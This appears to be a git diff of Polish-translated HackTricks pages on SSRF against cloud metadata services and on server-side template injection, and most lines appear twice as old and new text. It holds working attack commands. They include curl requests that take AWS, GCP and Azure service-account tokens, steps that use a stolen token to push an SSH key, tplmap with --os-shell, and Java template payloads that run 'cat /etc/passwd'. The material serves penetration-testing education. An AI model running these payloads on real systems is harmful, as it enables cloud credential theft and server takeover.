Należy pamiętać, że **poświadczenia lambdy** znajdują się w **zmiennych środowiskowych**. Dlatego jeśli **ślad stosu** kodu lambdy drukuje zmienne środowiskowe, możliwe jest **wydostanie ich wywołując błąd** w aplikacji.
{% endhint %}
### SSRF URL dla AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
### Adres URL SSRF dla AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
Pobieramy `accountId` i `region` z interfejsu API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Następnie pobieramy `AccessKeyId`, `SecretAccessKey` i `Token` z interfejsu API.
Następnie pobieramy `AccessKeyId`, `SecretAccessKey` i `Token` z API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
@ -162,9 +162,9 @@ Następnie używamy poświadczeń za pomocą `aws s3 ls s3://elasticbeanstalk-us
Możesz [**znaleźć tutaj dokumentację dotyczącą punktów końcowych metadanych**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
### URL SSRF dla Google Cloud <a href="#id-6440" id="id-6440"></a>
### SSRF URL dla Google Cloud <a href="#id-6440" id="id-6440"></a>
Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych za pomocą następujących adresów URL:
Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych pod następującymi adresami URL:
* http://169.254.169.254
* http://metadata.google.internal
@ -174,10 +174,10 @@ Interesujące punkty końcowe do wydobycia informacji:
```bash
# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
@ -191,17 +191,17 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslog
# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
@ -249,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta NIE wymaga obecnie nagłówka (dzięki Mathias Karlsson @avlidienbrunn)
Beta NIE wymaga nagłówka w tej chwili (dzięki Mathiasowi Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
Aby **użyć wykradzionego tokenu konta usługi**, wystarczy:
Aby **użyć wyciekanego tokenu konta usługi**, po prostu wykonaj:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -275,9 +275,9 @@ Wyodrębnij token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Sprawdź zakres tokena.
```
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
Sprawdź zakres tokena (za pomocą poprzedniego wyniku lub uruchomienie poniższego)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
@ -285,7 +285,7 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX
"access_type": "offline"
}
```
Teraz przekaż klucz SSH.
Teraz przyciśnij klucz SSH.
{% code overflow="wrap" %}
```bash
@ -296,13 +296,40 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
{% endcode %}
## Funkcje chmurowe <a href="#id-9f1f" id="id-9f1f"></a>
Punkt końcowy metadanych działa tak samo jak w maszynach wirtualnych, ale bez niektórych punktów końcowych:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
Nie ma takich rzeczy jak role AWS ani konto usługi GCP, więc nie oczekuj, że znajdziesz poświadczenia bota metadanych
Nie ma tutaj rzeczy takich jak role AWS ani konto usługi GCP, więc nie spodziewaj się znalezienia danych uwierzytelniających metadanych
{% endhint %}
Dokumentacja dostępna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
Dokumentacja dostępna pod adresem [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -316,7 +343,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, uruchamia proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -329,7 +356,7 @@ Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śled
[**Dokumentacja** tutaj](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Musisz** zawierać nagłówek `Metadata: true`
* Nie może zawierać nagłówka `X-Forwarded-For`
* Nie powinien zawierać nagłówka `X-Forwarded-For`
{% tabs %}
{% tab title="Bash" %}
@ -376,9 +403,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{% endtab %}
{% endtabs %}
### Azure App Service
### Usługa Azure App
Z **env** można uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Można ich użyć do uzyskania tokena do komunikacji z serwerem metadanych.
Z **env** możesz uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz ich użyć do uzyskania tokenu do komunikacji z serwerem metadanych.
Większość czasu chcesz uzyskać token dla jednego z tych zasobów:
@ -457,7 +484,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Zauważ, że w IBM domyślnie metadane są wyłączone, więc możliwe, że nie będziesz w stanie uzyskać do nich dostępu, nawet jeśli znajdujesz się wewnątrz maszyny wirtualnej IBM Cloud.
Zauważ, że w IBM domyślnie metadane są wyłączone, więc istnieje możliwość, że nie będziesz mógł uzyskać do nich dostępu nawet jeśli znajdujesz się wewnątrz wirtualnej maszyny w chmurze IBM.
{% endhint %}
{% code overflow="wrap" %}
@ -486,62 +513,67 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
Dokumentacja dla różnych platform usług metadanych jest przedstawiona poniżej, podkreślając metody dostępu do konfiguracji i informacji o działaniu instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
Dokumentacja dla różnych usług platformy jest przedstawiona poniżej, z zaznaczeniem metod dostępu do konfiguracji i informacji o uruchomieniu instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
## Packetcloud
Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć pod adresem:
[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć pod adresem: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
Nie ma wymienionej konieczności nagłówka. Metadane można uzyskać za pomocą:
- `http://169.254.169.254/openstack`
Konieczność nagłówka nie jest wymieniona. Metadane można uzyskać poprzez:
* `http://169.254.169.254/openstack`
## HP Helion
Również tutaj nie ma wymienionej konieczności nagłówka. Metadane są dostępne pod adresem:
- `http://169.254.169.254/2009-04-04/meta-data/`
Konieczność nagłówka nie jest również tutaj wymieniona. Metadane są dostępne pod adresem:
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud udostępnia serię punktów końcowych do dostępu do różnych aspektów metadanych:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/`
Oracle Cloud udostępnia serię punktów końcowych do uzyskiwania różnych aspektów metadanych:
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
## Alibaba
Alibaba oferuje punkty końcowe do dostępu do metadanych, w tym identyfikatorów instancji i obrazów:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id`
Alibaba oferuje punkty końcowe do uzyskiwania metadanych, w tym identyfikatory instancji i obrazów:
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. Dostęp jest przedstawiony za pomocą:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. Dostęp jest pokazany poprzez:
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Metadane Dockera można uzyskać lokalnie, podano przykłady pobierania informacji o kontenerach i obrazach:
- Prosty przykład dostępu do metadanych kontenerów i obrazów za pomocą gniazda Dockera:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Wewnątrz kontenera użyj curl z gniazdem Dockera:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
Metadane Dockera można uzyskać lokalnie, przykłady uzyskiwania informacji o kontenerach i obrazach:
* Prosty przykład uzyskania metadanych kontenerów i obrazów za pomocą gniazda Dockera:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* Wewnątrz kontenera użyj curl z gniazdem Dockera:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Metadane Rancher można uzyskać za pomocą:
- `curl http://rancher-metadata/<version>/<path>`
Metadane Ranchera można uzyskać za pomocą:
* `curl http://rancher-metadata/<version>/<path>`
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje skanowanie zagrożeń proaktywnych, znajduje problemy we wszystkich warstwach technologicznych, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza skanowanie zagrożeń proaktywnych, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -551,10 +583,10 @@ Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi po
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repos.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,101 +6,67 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres stanowi gorący punkt spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
## Czym jest SSTI (Server-Side Template Injection)
Server-side template injection to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany po stronie serwera. Ta podatność może występować w różnych technologiach, w tym w Jinja.
Wstrzyknięcie szablonu po stronie serwera (SSTI) to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta podatność może być znaleziona w różnych technologiach, w tym w Jinja.
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Przyjrzyjmy się przykładowemu kodowi demonstrującemu podatny fragment kodu z użyciem Jinja:
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład demonstrujący podatny fragment kodu z użyciem Jinja:
```python
output = template.render(name=request.args.get('name'))
```
W tym podatnym kodzie, parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
Na przykład, atakujący mógłby stworzyć żądanie z takim ładunkiem:
Na przykład, atakujący mógłby stworzyć żądanie z ładunkiem takim jak ten:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Payload `{{zły-kod-tutaj}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonu Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie daje mu kontrolę nad serwerem.
Payload `{{zły-kod-tutaj}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie uzyskując kontrolę nad serwerem.
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik unikania kontekstu może pomóc w ograniczeniu ryzyka związanego z tą podatnością.
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki świadomej kontekstu może pomóc zmniejszyć ryzyko tej podatności.
### Wykrywanie
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzowanie szablonu** jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu do tego specjalnego payloadu. Wskaźnikami podatności są:
- Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
- Brak payloadu w odbiciu lub brak niektórych jego części, co sugeruje, że serwer przetwarza go inaczej niż zwykłe dane.
- **Kontekst tekstu**: Odróżnienie od XSS przez sprawdzenie, czy serwer ocenia wyrażenia szablonu (np. `{{7*7}}`, `${7*7}`).
Aby wykryć Wstrzykiwanie Szablonów Po Stronie Serwera (SSTI), początkowo **fuzzowanie szablonu** jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu z tym specjalnym ładunkiem. Wskaźnikami podatności są:
- **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład zmiana `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadku `greeting=data.username}}hello`, zwracający nazwę użytkownika.
* Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
* Brak ładunku w odbiciu lub brak jego części, sugerujący, że serwer przetwarza go inaczej niż zwykłe dane.
* **Kontekst Czystego Tekstu**: Odróżnij od XSS, sprawdzając, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`).
* **Kontekst Kodu**: Potwierdź podatność, zmieniając parametry wejściowe. Na przykład zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadku `greeting=data.username}}hello` zwracającego nazwę użytkownika.
#### Faza identyfikacji
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Wspólne payloady powodujące błędy to `${7/0}`, `{{7/0}}` i `<%= 7/0 %>`. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów.
#### Faza Identyfikacji
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych ładunków specyficznych dla języka. Powszechne ładunki powodujące błędy to `${7/0}`, `{{7/0}}` i `<%= 7/0 %>`. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów.
## Narzędzia
### [TInjA](https://github.com/Hackmanit/TInjA)
skaner SSTI + CSTI, który wykorzystuje nowatorskie poligloty
wydajne narzędzie do skanowania SSTI + CSTI, które wykorzystuje nowatorskie poligloty
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
SSTImap jest narzędziem do automatycznego wykrywania i eksploatacji podatności Server-Side Template Injection (SSTI) w aplikacjach internetowych. Narzędzie to zostało opracowane w celu ułatwienia testowania penetracyjnego i identyfikacji luk w zabezpieczeniach aplikacji.
#### Wprowadzenie
Server-Side Template Injection (SSTI) to podatność, która występuje, gdy aplikacja internetowa umożliwia wstrzykiwanie kodu szablonu po stronie serwera. W przypadku wystąpienia tej podatności, atakujący może wykorzystać ją do wykonania dowolnego kodu na serwerze, co może prowadzić do naruszenia poufności danych, utraty integralności systemu lub innych poważnych konsekwencji.
#### Wykorzystanie
SSTImap automatycznie wykrywa podatności SSTI w aplikacjach internetowych, przeprowadzając testy wstrzykiwania kodu szablonu na różnych parametrach żądania. Narzędzie to obsługuje wiele popularnych języków szablonów, takich jak Jinja2, Twig, Smarty, Freemarker i inne.
Aby rozpocząć skanowanie, wystarczy podać adres URL aplikacji docelowej. SSTImap automatycznie przeprowadzi testy na wszystkich dostępnych parametrach żądania, aby zidentyfikować potencjalne podatności SSTI.
#### Instalacja
Aby zainstalować SSTImap, wykonaj następujące kroki:
1. Sklonuj repozytorium SSTImap z [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap).
2. Przejdź do katalogu SSTImap.
3. Zainstaluj wymagane zależności, wykonując polecenie `pip install -r requirements.txt`.
#### Użycie
Aby uruchomić SSTImap, wykonaj następujące kroki:
1. Przejdź do katalogu SSTImap.
2. Uruchom narzędzie, wykonując polecenie `python sstimap.py -u <adres_URL_aplikacji>`.
Po zakończeniu skanowania, SSTImap wygeneruje raport zawierający informacje o znalezionych podatnościach SSTI.
#### Podsumowanie
SSTImap jest przydatnym narzędziem do automatycznego wykrywania i eksploatacji podatności SSTI w aplikacjach internetowych. Dzięki temu narzędziu można szybko zidentyfikować potencjalne luki w zabezpieczeniach i podjąć odpowiednie działania w celu ich naprawy.
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
### [Tplmap](https://github.com/epinna/tplmap)
Tplmap to skrypt Pythona służący do automatycznego wykrywania i eksploatacji podatności Server-Side Template Injection (SSTI). Skrypt ten może być używany do testowania aplikacji internetowych pod kątem potencjalnych luk w zabezpieczeniach SSTI.
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
@ -114,14 +80,14 @@ interaktywna tabela zawierająca najbardziej wydajne poligloty wstrzykiwania sza
### Ogólne
W tej **liście słów** można znaleźć **zmienne zdefiniowane** w środowiskach niektórych z poniższych silników:
W tej **liście słów** znajdziesz **zmienne zdefiniowane** w środowiskach niektórych z poniższych silników:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
### Java
**Java - Podstawowe wstrzykiwanie**
**Java - Podstawowa wstrzykiwania**
```java
${7*7}
${{7*7}}
@ -131,56 +97,10 @@ ${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Pobierz zmienne środowiskowe systemu**
Aby pobrać zmienne środowiskowe systemu w języku Java, możemy skorzystać z klasy `System` i jej metody `getenv()`. Metoda ta zwraca mapę, która zawiera wszystkie zmienne środowiskowe systemu wraz z ich wartościami.
Oto przykładowy kod, który pokazuje, jak pobrać zmienne środowiskowe systemu:
```java
import java.util.Map;
public class EnvironmentVariables {
public static void main(String[] args) {
Map<String, String> env = System.getenv();
for (String key : env.keySet()) {
String value = env.get(key);
System.out.println(key + " = " + value);
}
}
}
```
Ten kod iteruje przez wszystkie zmienne środowiskowe systemu i wyświetla ich nazwy oraz wartości na konsoli. Możemy go dostosować, aby wykonał inne operacje na zmiennych środowiskowych w zależności od naszych potrzeb.
```java
${T(java.lang.System).getenv()}
```
**Java - Pobierz /etc/passwd**
W przypadku ataku Server-Side Template Injection (SSTI) na aplikację napisaną w języku Java, możemy próbować odzyskać zawartość pliku /etc/passwd. Poniżej znajduje się przykładowy kod, który można wykorzystać do tego celu:
```java
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class SSTIExample {
public static void main(String[] args) {
try {
String command = "cat /etc/passwd";
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
Ten kod wykonuje polecenie systemowe `cat /etc/passwd` i odczytuje wynik. Następnie wypisuje zawartość pliku /etc/passwd na standardowe wyjście. Pamiętaj, że ten kod jest tylko przykładem i powinien być używany wyłącznie w celach edukacyjnych lub zgodnie z prawem.
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -188,12 +108,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
